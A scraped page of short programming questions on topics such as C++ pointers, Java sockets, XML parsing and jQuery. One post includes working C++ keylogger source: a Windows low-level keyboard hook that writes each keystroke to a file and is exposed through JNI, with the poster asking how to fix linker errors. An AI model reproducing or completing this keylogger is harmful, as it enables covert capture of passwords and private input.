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  • C# why unit test has this strange behaviour?

    - by 5YrsLaterDBA
    I have a class to encrypt the connectionString. public class SKM { private string connStrName = "AndeDBEntities"; internal void encryptConnStr() { if(isConnStrEncrypted()) return; ... } private bool isConnStrEncrypted() { bool status = false; // Open app.config of executable. System.Configuration.Configuration config = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.None); // Get the connection string from the app.config file. string connStr = config.ConnectionStrings.ConnectionStrings[connStrName].ConnectionString; status = !(connStr.Contains("provider")); Log.logItem(LogType.DebugDevelopment, "isConnStrEncrypted", "SKM::isConnStrEncrypted()", "isConnStrEncrypted=" + status); return status; } } Above code works fine in my application. But not in my unit test project. In my unit test project, I test the encryptConnStr() method. it will call isConnStrEncrypted() method. Then exception (null pointer) will be thrown at this line: string connStr = config.ConnectionStrings.ConnectionStrings[connStrName].ConnectionString; I have to use index like this to pass the unit test: string connStr = config.ConnectionStrings.ConnectionStrings[0].ConnectionString; I remember it worked several days ago at the time I added above unit test. But now it give me an error. The unit test is not integrated with our daily auto build yet. We only have ONE connectionStr. It works with product but not in unit test. Don't know why. Anybody can explain to me?

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  • std::map keys in C++

    - by Soumava
    I have a requirement to create two different maps in C++. The Key is of type CHAR * and the Value is a pointer to a struct. I am filling 2 maps with these pairs, in separate iterations. After creating both maps I need find all such instances in which the value of the string referenced by the CHAR * are same. For this i am using the following code : typedef struct _STRUCTTYPE { .. } STRUCTTYPE, *PSTRUCTTYPE; typedef pair {CHAR *,PSTRUCTTYPE} kvpair; .. CHAR *xyz; PSTRUCTTYPE abc; after filling the information; Map.insert (kvpair(xyz,abc)); the above is repeated x times for the first map, and y times for the second map. after both are filled out; std::map {CHAR *, PSTRUCTTYPE} :: iterator Iter,findIter; for (Iter=iteratedMap-begin();Iter!=iteratedMap-end();mapIterator++) { char *key = Iter-first; printf("%s\n",key); findIter=otherMap-find(key); //printf("%u",findIter-second); if (findIter!=otherMap-end()) { printf("Match!\n"); } } The above code does not show any match, although the list of keys in both maps show obvious matches. My understanding is that the equals operator for CHAR * just equates the memory address of the pointers. My question is, what should i do to alter the equals operator for this type of key or could I use a different datatype for the string? *note : {} has been used instead of angle brackets as the content inside angle brackets was not showing up in the post.

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  • C++ -- Why should we use operator -> to access member functions of a SmartPtr?

    - by q0987
    Hello all, The question is given in the last two lines of code. template<class T> // template class for smart class SmartPtr { // pointers-to-T objects public: SmartPtr(T* realPtr = 0); T* operator->() const; T& operator*() const; T* Detach( void ) { T* pData = pointee; pointee = NULL; return pData; } private: T *pointee; ... }; class TestClass {} SmartPtr<TestClass> sPtr(new TestClass); TestClass* ptrA = sPtr->Detach(); // why I always see people use this method to access member functions of a Smart pointer. We can use sPtr-> b/c we have defined operator->() in SmartPtr. TestClass* ptrB = sPtr.Detach(); // Question: Is this a valid C++ way? If not, why? Thank you

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  • Javascript FAQ drop down

    - by kdipaolo
    Im trying to create a simple FAQ drop down but for some reason it is not working. Would you mind taking a look? Thanks guys! CSS #faqs h3 { cursor:pointer; } #faqs h3.active { color:#d74646; } #faqs div { height:0; overflow:hidden; position:relative; } #faqs div p { padding:0; margin-bottom:15px; } JavaScript: $(document).ready(function() { $('#faqs h3').each(function() { var tis = $(this), state = false, answer = tis.next('div') .hide() .css('height','auto') .slideUp(); tis.click(function() { state = !state; answer.slideToggle(state); tis.toggleClass('active',state); }); }); }); HTML <div id="faqs"> <h3>This is question 1?</h3> <div> <p>This is the answer to question #1.</p> </div> <h3>This is question 2?</h3> <div> <p>This is the answer to question #2.</p> </div> </div>

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  • Time taken for memcpy decreases after certain point

    - by tss
    I ve a code which increases the size of the memory(identified by a pointer) exponentially. Instead of realloc, I use malloc followed by memcpy.. Something like this.. int size=5,newsize; int *c = malloc(size*sizeof(int)); int *temp; while(1) { newsize=2*size; //begin time temp=malloc(newsize*sizeof(int)); memcpy(temp,c,size*sizeof(int)); //end time //print time in mili seconds c=temp; size=newsize; } Thus the number of bytes getting copied is increasing exponentially. The time required for this task also increases almost linearly with the increase in size. However after certain point, the time taken abruptly reduces to a very small value and then remains constant. I recorded time for similar code, copyin data(Of my own type) 5 -> 10 - 2 ms 10 -> 20 - 2 ms . . 2560 -> 5120 - 5 ms . . 20480 -> 40960 - 30 ms 40960 -> 91920 - 58 ms 367680 -> 735360 - 2 ms 735360 -> 1470720 - 2 ms 1470720 -> 2941440 - 2 ms What is the reason for this drop in time ? Does a more optimal memcpy method get called when the size is large ?

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  • Should this work?

    - by Noah Roberts
    I am trying to specialize a metafunction upon a type that has a function pointer as one of its parameters. The code compiles just fine but it will simply not match the type. #include <iostream> #include <boost/mpl/bool.hpp> #include <boost/mpl/identity.hpp> template < typename CONT, typename NAME, typename TYPE, TYPE (CONT::*getter)() const, void (CONT::*setter)(TYPE const&) > struct metafield_fun {}; struct test_field {}; struct test { int testing() const { return 5; } void testing(int const&) {} }; template < typename T > struct field_writable : boost::mpl::identity<T> {}; template < typename CONT, typename NAME, typename TYPE, TYPE (CONT::*getter)() const > struct field_writable< metafield_fun<CONT,NAME,TYPE,getter,0> > : boost::mpl::false_ {}; typedef metafield_fun<test, test_field, int, &test::testing, 0> unwritable; int main() { std::cout << typeid(field_writable<unwritable>::type).name() << std::endl; std::cin.get(); } Output is always the type passed in, never bool_.

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  • returning a pointed to an object within a std::vector

    - by memC
    I have a very basic question on returning a reference to an element of a vector . There is a vector vec that stores instances of class Foo. I want to access an element from this vector . ( don't want to use the vector index) . How should I code the method getFoo here? #include<vector> #include<stdio.h> #include<iostream> #include<math.h> using namespace std; class Foo { public: Foo(){}; ~Foo(){}; }; class B { public: vector<Foo> vec; Foo* getFoo(); B(){}; ~B(){}; }; Foo* B::getFoo(){ int i; vec.push_back(Foo()); i = vec.size() - 1; // how to return a pointer to vec[i] ?? return vec.at(i); }; int main(){ B b; b = B(); int i = 0; for (i = 0; i < 5; i ++){ b.getFoo(); } return 0; }

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  • How can multiple variables be passed to a function cleanly in C?

    - by aquanar
    I am working on an embedded system that has different output capabilities (digital out, serial, analog, etc). I am trying to figure out a clean way to pass many of the variables that will control those functions. I don't need to pass ALL of them too often, but I was hoping to have a function that would read the input data (in this case from a TCP network), and then parse the data (IE, the 3rd byte contains the states of 8 of the digital outputs (according to which bit in that byte is high or low)), and put that into a variable where I can then use elsewhere in the program. I wanted that function to be separate from the main() function, but to do so would require passing pointers to some 20 or so variables that it would be writing to. I know I could make the variables global, but I am trying to make it easier to debug by making it obvious when a function is allowed to edit that variable, by passing it to the function. My best idea was a struct, and just pass a pointer to it, but wasn't sure if there was a more efficient way, especially since there is only really 1 function that would need to access all of them at once, while most others only require parts of the information that will be stored in this bunch of state variables. So anyway, is there a clean way to send many variables between functions at once that need to be edited?

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  • How to define template directives (from an API perspective)?

    - by Ralph
    Preface I'm writing a template language (don't bother trying to talk me out of it), and in it, there are two kinds of user-extensible nodes. TemplateTags and TemplateDirectives. A TemplateTag closely relates to an HTML tag -- it might look something like div(class="green") { "content" } And it'll be rendered as <div class="green">content</div> i.e., it takes a bunch of attributes, plus some content, and spits out some HTML. TemplateDirectives are a little more complicated. They can be things like for loops, ifs, includes, and other such things. They look a lot like a TemplateTag, but they need to be processed differently. For example, @for($i in $items) { div(class="green") { $i } } Would loop over $items and output the content with the variable $i substituted in each time. So.... I'm trying to decide on a way to define these directives now. Template Tags The TemplateTags are pretty easy to write. They look something like this: [TemplateTag] static string div(string content = null, object attrs = null) { return HtmlTag("div", content, attrs); } Where content gets the stuff between the curly braces (pre-rendered if there are variables in it and such), and attrs is either a Dictionary<string,object> of attributes, or an anonymous type used like a dictionary. It just returns the HTML which gets plunked into its place. Simple! You can write tags in basically 1 line. Template Directives The way I've defined them now looks like this: [TemplateDirective] static string @for(string @params, string content) { var tokens = Regex.Split(@params, @"\sin\s").Select(s => s.Trim()).ToArray(); string itemName = tokens[0].Substring(1); string enumName = tokens[1].Substring(1); var enumerable = data[enumName] as IEnumerable; var sb = new StringBuilder(); var template = new Template(content); foreach (var item in enumerable) { var templateVars = new Dictionary<string, object>(data) { { itemName, item } }; sb.Append(template.Render(templateVars)); } return sb.ToString(); } (Working example). Basically, the stuff between the ( and ) is not split into arguments automatically (like the template tags do), and the content isn't pre-rendered either. The reason it isn't pre-rendered is because you might want to add or remove some template variables or something first. In this case, we add the $i variable to the template variables, var templateVars = new Dictionary<string, object>(data) { { itemName, item } }; And then render the content manually, sb.Append(template.Render(templateVars)); Question I'm wondering if this is the best approach to defining custom Template Directives. I want to make it as easy as possible. What if the user doesn't know how to render templates, or doesn't know that he's supposed to? Maybe I should pass in a Template instance pre-filled with the content instead? Or maybe only let him tamper w/ the template variables, and then automatically render the content at the end? OTOH, for things like "if" if the condition fails, then the template wouldn't need to be rendered at all. So there's a lot of flexibility I need to allow in here. Thoughts?

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  • C struct written in file, open with Java

    - by DaunnC
    For example in C I have structure: typedef struct { int number; double x1; double y1; double x2; double y2; double x3; double y3; } CTRstruct;` Then I write it to file fwrite(&tr, 1, sizeof(tr), fp); (tr - its CTRstruct var, fp - File pointer); Then I need to read it with Java! I really don't know how to read struct from file... I tried to read it with ObjectInputStream(), last idea is to read with RandomAccessFile() but I also don't know how to... (readLong(), readDouble() also doesn't work, it works ofcource but doesn't read correct data). So, any idea how to read C struct from binary file with Java? If it's interesting, my version to read integer (but it's ugly, & I don't know what to do with double): public class MyDataInputStream extends DataInputStream{ public MyDataInputStream(InputStream AIs) { super(AIs); } public int readInt1() throws IOException{ int ch1 = in.read(); int ch2 = in.read(); int ch3 = in.read(); int ch4 = in.read(); if ((ch1 | ch2 | ch3 | ch4) < 0) throw new EOFException(); return ((ch4 << 24) + (ch3 << 16) + (ch2 << 8) + (ch1 << 0)); } with double we can deal the same way (like with int or with long (8bytes) & then convert to double with native func).

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  • Java saying XML Document Not Well Formed

    - by Pyroclastic
    Hey all. Java's XML parser seems to be thinking that my XML document is not well formed following the root element, but I've validated it with several tools and they all disagree. It's probably an error in my code rather than in the document itself, I'd really appreciate any help you all could offer me. Here is my Java method: private void loadFromXMLFile(File f) throws ParserConfigurationException, IOException, SAXException { File file = f; DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db; Document doc = null; db = dbf.newDocumentBuilder(); doc = db.parse(file); doc.getDocumentElement().normalize(); String desc = ""; String due = ""; String comment = ""; NodeList tasksList = doc.getElementsByTagName("task"); for (int i = 0; i < tasksList.getLength(); i++) { NodeList attributes = tasksList.item(i).getChildNodes(); for (int j = 0; i < attributes.getLength(); j++) { Node attribute = attributes.item(i); if (attribute.getNodeName() == "description") { desc = attribute.getTextContent(); } if (attribute.getNodeName() == "due") { due = attribute.getTextContent(); } if (attribute.getNodeName() == "comment") { comment = attribute.getTextContent(); } tasks.add(new Task(desc, due, comment)); } desc = ""; due = ""; comment = ""; } } And here is the XML file I'm trying to load: <?xml version="1.0"?> <tasklist> <task> <description>Task 1</description> <due>Due date 1</due> <comment>Comment 1</comment> <completed>false</completed> </task> <task> <description>Task 2</description> <due>Due date 2</due> <comment>Comment 2</comment> <completed>false</completed> </task> <task> <description>Task 3</description> <due>Due date 3</due> <comment>Comment 3</comment> <completed>true</completed> </task> </tasklist> And here is the error message java is throwing for me: run: [Fatal Error] tasks.xml:28:3: The markup in the document following the root element must be well-formed. May 17, 2010 6:07:02 PM todolist.TodoListGUI SEVERE: null org.xml.sax.SAXParseException: The markup in the document following the root element must be well-formed. at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:239) at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:283) at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:208) at todolist.TodoListGUI.loadFromXMLFile(TodoListGUI.java:199) at todolist.TodoListGUI.(TodoListGUI.java:42) at todolist.Main.main(Main.java:25) BUILD SUCCESSFUL (total time: 19 seconds) For reference TodoListGUI.java:199 is doc = db.parse(file); If context is helpful to anyone here, I'm trying to write a simple GUI application to manage a todo list that can read and write to and from XML files defining the tasks. Any advice is appreciated!

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  • Greasemonkey script, that creates Kineticjs drag and drop canvas over every website

    - by Michael Moeller
    I'd like to put a drag and drop canvas over every website I visit in Firefox. My Greasemonkey script puts a drag and drop canvas under every page: kinetic.user.js: // ==UserScript== // @name kineticjs_example // @description Canvas Drag and Drop // @include * // @require http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js // @require http://d3lp1msu2r81bx.cloudfront.net/kjs/js/lib/kinetic-v4.7.2.min.js // ==/UserScript== var div = document.createElement( 'div' ); with( div ) { setAttribute( 'id', 'container' ); } // append at end document.getElementsByTagName( 'body' )[ 0 ].appendChild( div ); var stage = new Kinetic.Stage({ container: 'container', width: 1000, height: 1000 }); var layer = new Kinetic.Layer(); var rectX = stage.getWidth() / 2 - 50; var rectY = stage.getHeight() / 2 - 25; var box = new Kinetic.Rect({ x: rectX, y: rectY, width: 100, height: 50, fill: '#00D2FF', stroke: 'black', strokeWidth: 4, draggable: true }); // add cursor styling box.on('mouseover', function() { document.body.style.cursor = 'pointer'; }); box.on('mouseout', function() { document.body.style.cursor = 'default'; }); layer.add(box); stage.add(layer); How can I drag and drop this shape over the entire website?

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  • How to properly assign a value to the member of a struct that has a class data type?

    - by sasayins
    Hi, Please kindly see below for the codes. Its compiling successfully but the expected result is not working. Im very confused because my initialization of the array is valid, //cbar.h class CBar { public: class CFoo { public: CFoo( int v ) : m_val = v {} int GetVal() { return m_val; } private: int m_val; }; public: static const CFoo foo1; static const CFoo foo2; public: CBar( CFoo foo ) m_barval( foo.GetVal() ){} int GetFooVal() { return m_barval; } private: int m_barval; }; //cbar.cpp const CBar::CFoo foo1 = CBar::CFoo(2); const CBar::CFoo foo2 = CBar::CFoo(3); //main.cpp struct St { CBar::CFoo foo; }; St st[] = { CBar::foo1, CBar::foo2 }; for( int i=0; i<sizeof(st)/sizeof(St); i++ ) { CBar cbar( st[i].foo ); std::cout << cbar.GetFooVal() << std::endl; } But then when I change the St::foo to a pointer. And like assign the address of CBar::foo1 or CBar::foo2, its working, like this, //main.cpp struct St { const CBar::CFoo *foo; }; St st[] = { &CBar::foo1, &CBar::foo2 }; for( int i=0; i<sizeof(st)/sizeof(St); i++ ) { CBar cbar( *st[i].foo ); std::cout << cbar.GetFooVal() << std::endl; } The real problem is. The app should output 2 3 Please advice. Many thanks.

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  • [jQuery] How to load vtip tooltip on a dynamically generated element?

    - by adaneko
    I'm new to jQuery and trying to combine the use of a tooltip plugin and a lightbox plugin. More specifically, I am using Colorbox (http://colorpowered.com/colorbox/) and vtip. Colorbox generates a div which displays an image like this: <div id="cboxLoadedContent" style="display: block; width: 400px; overflow: auto; height: 498px;"> <img src="image.jpg" id="cboxPhoto" style="margin: 49px auto auto; border: medium none; display: block; float: none; cursor: pointer;"> </div> I next add class="vtip" title="This is a tip." in order to use the vtip style, but for some reason it does not work when it's a title tag on an element dynamically generated by Colorbox, but works on anything already loaded on the page. Can anyone explain to me why this is and possibly offer some solutions to fix this problem?

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  • Java deadlock problem....

    - by markovuksanovic
    I am using java sockets for communication. On the client side I have some processing and at this point I send an object to the cient. The code is as follows: while (true) { try { Socket server = new Socket("localhost", 3000); OutputStream os = server.getOutputStream(); InputStream is = server.getInputStream(); CommMessage commMessage = new CommMessageImpl(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(commMessage); os.write(bos.toByteArray()); os.flush(); byte[] buff = new byte[512]; int bytesRead = 0; ByteArrayOutputStream receivedObject = new ByteArrayOutputStream(); while ((bytesRead = is.read(buff)) > -1) { receivedObject.write(buff, 0, bytesRead); System.out.println(receivedObject); } os.close(); Thread.sleep(10000); } catch (IOException e) { } catch (InterruptedException e) { } } Next on the server side I have the following code to read the object and write the response (Which is just an echo message) public void startServer() { Socket client = null; try { server = new ServerSocket(3000); logger.log(Level.INFO, "Waiting for connections."); client = server.accept(); logger.log(Level.INFO, "Accepted a connection from: " + client.getInetAddress()); os = new ObjectOutputStream(client.getOutputStream()); is = new ObjectInputStream(client.getInputStream()); // Read contents of the stream and store it into a byte array. byte[] buff = new byte[512]; int bytesRead = 0; ByteArrayOutputStream receivedObject = new ByteArrayOutputStream(); while ((bytesRead = is.read(buff)) > -1) { receivedObject.write(buff, 0, bytesRead); } // Check if received stream is CommMessage or not contents. CommMessage commMessage = getCommMessage(receivedObject); if (commMessage != null) { commMessage.setSessionState(this.sessionManager.getState().getState()); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(commMessage); os.write(bos.toByteArray()); System.out.println(commMessage.getCommMessageType()); } else { processData(receivedObject, this.sessionManager); } os.flush(); } catch (IOException e) { } finally { try { is.close(); os.close(); client.close(); server.close(); } catch (IOException e) { } } } The above code works ok if I do not try to read data on the client side (If i exclude the code related to reading). But if I have that code, for some reason, I get some kind of deadlock when accessing input streams. Any ideas what I might have done wrong? Thanks in advance.

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  • unicode convertion problem

    - by bhoomi-nature
    Hai frnds i am bhoomi new to php,i am having having below problem in my coding please can you help anyone 1.first i want to open one word document which is having content and i wann to edit it 2.for that i am opening word document from the server and at that time its opening with garbage value(i thing its not converting to utf8 format) 3.wen i delete that garbage value and insert something from textarea to that file it is going to insert and next time onwords its its getting open properly. 4.actually i wann that doc file should open with english words wats there in that doc instead of garbage value..first time opening only its giving problem. i am using below code for that please do the needful $filename = 'test.doc'; if(isset($_REQUEST['Submit'])){ $somecontent = stripslashes($_POST['somecontent']); // Let's make sure the file exists and is writable first. if (is_writable($filename)) { // In our example we're opening $filename in append mode. // The file pointer is at the bottom of the file hence // that's where $somecontent will go when we fwrite() it. if (!$handle = fopen($filename, 'w')) { echo "Cannot open file ($filename)"; exit; } // Write $somecontent to our opened file. if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote ($somecontent) to file ($filename) - Continue - "; fclose($handle); } else { echo "The file $filename is not writable"; } } else{ // get contents of a file into a string $handle = fopen($filename, 'r'); $somecontent = fread($handle, filesize($filename)); ? Edit file

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  • Change css property in chain - JavaScript

    - by SilverDeveloper
    I'm using MooTools 1.4.5 and I want to change cursor before calling function that takes some time and after finished same function set cursor to default. I was not successful. After that I made simple example to change background color via plain JavaScript (no jQuery or MooTools plugin) and again I was not successful. Here is my code. <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title></title> </head> <body> <form id="form1" runat="server"> <div> </div> </form> </body> <script type="text/javascript"> <!-- document.body.style.background = 'red'; setTimeout(function () { }, 1250); document.body.style.background = 'yellow'; //--> </script> </html> First at all I set background color to red, and after delay to yellow. I assumed that the background color will bi set to red and after delay to yellow. It doesn't work. When page is loaded background color is yellow (last line). If I insert alert function in a middle of lines where sets background color everything works fine (background color is red, click to message box, background color is yellow). Why it works so? Only last changing style is affected. I need something like that to change pointer before calling function that takes 10 seconds and setting cursor to default value after function is done.

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  • Deleting from 2 arrays of dictionaries

    - by Matt Winters
    I have an array of dictionaries loaded from a plist (below) called arrayHistory. <plist version="1.0"> <array> <dict> <key>item</key> <string>1</string> <key>result</key> <string>8.1</string> <key>date</key> <date>2009-12-15T19:36:59Z</date> </dict> ... </array> </plist> I filter this array based on 'item' so that a second array, arrayHistoryDetail has the same structure as arrayHistory but only contains e.g. 'item's equal to '1'. These detail items are successfully displayed in a tableView. I then want to select an item from the tableView, and delete it from the tableView data source, arrayHistoryDetail (line 2 in the code below) - works, then I want to delete the item from the tableView itself (line 3 in the code below) - also works. My problem is that I also need to delete it from the original arrayHistory, so I tried the following: created a temporary dictionary as an ivar: NSMutableDictionary *tempDict; @property (nonatomic, retain) NSMutableDictionary *tempDict; Then my thinking was to make a copy in line 1 and remove it from the original array in line 4. 1 tempDict = [arrayHistoryDetail objectAtIndex: indexPath.row]; 2 [arrayHistoryDetail removeObjectAtIndex: indexPath.row]; 3 [tableView deleteRowsAtIndexPaths:[NSArray arrayWithObject:indexPath] withRowAnimation:UITableViewRowAnimationFade]; 4 [arrayHistory removeObject:tempDict]; Didn't work. Could someone please guide me in the right direction. I'm thinking that tempDict is a pointer and that removeObject needs a copy? I don't know. Thanks.

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  • operator overloading and inheritance

    - by user168715
    I was given the following code: class FibHeapNode { //... // These all have trivial implementation virtual void operator =(FibHeapNode& RHS); virtual int operator ==(FibHeapNode& RHS); virtual int operator <(FibHeapNode& RHS); }; class Event : public FibHeapNode { // These have nontrivial implementation virtual void operator=(FibHeapNode& RHS); virtual int operator==(FibHeapNode& RHS); virtual int operator<(FibHeapNode& RHS); }; class FibHeap { //... int DecreaseKey(FibHeapNode *theNode, FibHeapNode& NewKey) { FibHeapNode *theParent; // Some code if (theParent != NULL && *theNode < *theParent) { //... } //... return 1; } }; Much of FibHeap's implementation is similar: FibHeapNode pointers are dereferenced and then compared. Why does this code work? (or is it buggy?) I would think that the virtuals here would have no effect: since *theNode and *theParent aren't pointer or reference types, no dynamic dispatch occurs and FibHeapNode::operator< gets called no matter what's written in Event.

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  • C++/Qt - Memory allocation question

    - by HardCoder1986
    Hello! I recently started investigating Qt for myself and have the following question: Suppose I have some QTreeWidget* widget. At some moment I want to add some items to it and this is done via the following call: QList<QTreeWidgetItem*> items; // Prepare the items QTreeWidgetItem* item1 = new QTreeWidgetItem(...); QTreeWidgetItem* item2 = new QTreeWidgetItem(...); items.append(item1); items.append(item2); widget->addTopLevelItems(items); So far it looks ok, but I don't actually understand who should control the objects' lifetime. I should explain this with an example: Let's say, another function calls widget->clear();. I don't know what happens beneath this call but I do think that memory allocated for item1 and item2 doesn't get disposed here, because their ownage wasn't actually transfered. And, bang, we have a memory leak. The question is the following - does Qt have something to offer for this kind of situation? I could use boost::shared_ptr or any other smart pointer and write something like shared_ptr<QTreeWidgetItem> ptr(new QTreeWidgetItem(...)); items.append(ptr.get()); but I don't know if the Qt itself would try to make explicit delete calls on my pointers (which would be disastrous since I state them as shared_ptr-managed). How would you solve this problem? Maybe everything is evident and I miss something really simple?

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  • C++ Simple thread with parameter (no .net)

    - by Marc Vollmer
    I've searched the internet for a while now and found different solutions but then all don't really work or are to complicated for my use. I used C++ until 2 years ago so it might be a bit rusty :D I'm currently writing a program that posts data to an URL. It only posts the data nothing else. For posting the data I use curl, but it blocks the main thread and while the first post is still running there will be a second post that should start. In the end there are about 5-6 post operations running at the same time. Now I want to push the posting with curl into another thread. One thread per post. The thread should get a string parameter with the content what to push. I'm currently stuck on this. Tried the WINAPI for windows but that crashes on reading the parameter. (the second thread is still running in my example while the main thread ended (waiting on system("pause")). It would be nice to have a multi plattform solution, because it will run under windows and linux! Heres my current code: #define CURL_STATICLIB #include <curl/curl.h> #include <curl/easy.h> #include <cstdlib> #include <iostream> #include <stdio.h> #include <stdlib.h> #include <string> #if defined(WIN32) #include <windows.h> #else //#include <pthread.h> #endif using namespace std; void post(string post) { // Function to post it to url CURL *curl; // curl object CURLcode res; // CURLcode object curl = curl_easy_init(); // init curl if(curl) { // is curl init curl_easy_setopt(curl, CURLOPT_URL, "http://10.8.27.101/api.aspx"); // set url string data = "api=" + post; // concat post data strings curl_easy_setopt(curl, CURLOPT_POSTFIELDS, data.c_str()); // post data res = curl_easy_perform(curl); // execute curl_easy_cleanup(curl); // cleanup } else { cerr << "Failed to create curl handle!\n"; } } #if defined(WIN32) DWORD WINAPI thread(LPVOID data) { // WINAPI Thread string pData = *((string*)data); // convert LPVOID to string [THIS FAILES] post(pData); // post it with curl } #else // Linux version #endif void startThread(string data) { // FUnction to start the thread string pData = data; // some Test #if defined(WIN32) CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)thread, &pData, 0, NULL); // Start a Windows thread with winapi #else // Linux version #endif } int main(int argc, char *argv[]) { // The post data to send string postData = "test1234567890"; startThread(postData); // Start the thread system("PAUSE"); // Dont close the console window return EXIT_SUCCESS; } Has anyone a suggestion? Thanks for the help!

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  • What does an object look like in memory?

    - by NeilMonday
    This is probably a really dumb question, but I will ask anyway. I am curious what an object looks like in memory. Obviously it would have to have all of its member data in it. I assume that functions for an object would not be duplicated in memory (or maybe I am wrong?). It would seem wasteful to have 999 objects in memory all with the same function defined over and over. If there is only 1 function in memory for all 999 objects, then how does each function know who's member data to modify (I specifically want to know at the low level). Is there an object pointer that gets sent to the function behind the scenes? Perhaps it is different for every compiler? Also, how does the static keyword affect this? With static member data, I would think that all 999 objects would use the exact same memory location for their static member data. Where does this get stored? Static functions I guess would also just be one place in memory, and would not have to interact with instantiated objects, which I think I understand.

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  • Calling fuctions of header file

    - by navinbecse
    i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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  • Interpretation of int (*a)[3]

    - by kapuzineralex
    When working with arrays and pointers in C, one quickly discovers that they are by no means equivalent although it might seem so at a first glance. I know about the differences in L-values and R-values. Still, recently I tried to find out the type of a pointer that I could use in conjunction with a two-dimensional array, i.e. int foo[2][3]; int (*a)[3] = foo; However, I just can't find out how the compiler "understands" the type definition of a in spite of the regular operator precedence rules for * and []. If instead I were to use a typedef, the problem becomes significantly simpler: int foo[2][3]; typedef int my_t[3]; my_t *a = foo; At the bottom line, can someone answer me the questions as to how the term int (*a)[3] is read by the compiler? int a[3] is simple, int *a[3] is simple as well. But then, why is it not int *(a[3])? EDIT: Of course, instead of "typecast" I meant "typedef" (it was just a typo).

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  • Events + Adapter Pattern

    - by Stretto
    I have an adapter pattern on a generic class that essentially adapts between types: class A<T> { event EventHandler e; } class Aadapter<T1, T2> : A<T1> { A<T2> a; Aadapter(A<T2> _a) { a = _a; } } The problem is that A contains an event. I effectively want all event handlers assigned to Adapter to fall through to a. It would be awesome if I could assign the a's event handler to adapter's event handler but this is impossible? The idea here is that A is almost really just A but we need a way to adapt the them. Because of the way event's work I can't how to efficiently do it except manually add two event handlers and when they are called they "relay" the to the other event. This isn't pretty though and it would seem much nicer if I could have something like class A<T> { event EventHandler e; } class Aadapter<T1, T2> : A<T1> { event *e; A<T2> a; Aadapter(A<T2> _a) { a = _a; e = a.e; } } in a sense we have a pointer to the event that we can assign a2's event to. I doubt there is any simple way but maybe someone has some idea to make it work. (BTW, I realize this is possible with virtual events but I'd like to avoid this if at all possible)

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